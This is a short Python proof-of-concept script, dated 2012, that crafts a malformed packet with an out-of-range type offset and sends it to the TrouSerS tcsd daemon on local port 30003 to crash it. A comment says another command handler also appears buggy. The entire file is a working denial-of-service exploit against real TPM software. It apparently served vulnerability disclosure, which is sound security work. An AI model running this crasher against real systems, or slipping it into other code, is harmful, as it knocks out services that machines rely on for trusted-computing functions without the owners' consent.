# crash_tcsd.py
# Copyright (c) 2012 Andy Lutomirski. All rights reserved.
#
# Permission is granted to anyone to copy and redistribute this file verbatim.
# Permission is *not* granted to distribute modified copies or derivative works.
import struct
import socket
import time
# UnloadBlob_PCR_EVENT also appears buggy.
crasher = struct.pack('>IIIIIII',
28, # packet_size = sizeof(tcsd_packet_hdr)
11, # ordinal: LoadKeyByBlob
1, # num_parms = 1 (so first getData doesn't bail)
0, # type_size = 0
0x80000000, # type_offset is off in lala land
0, # parm_size = 0 (skip checking)
28, # parm_offset: see getTCSDPacket
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
s.connect(('127.0.0.1', 30003))
s.send(crasher)
s.shutdown(socket.SHUT_WR)
s.close()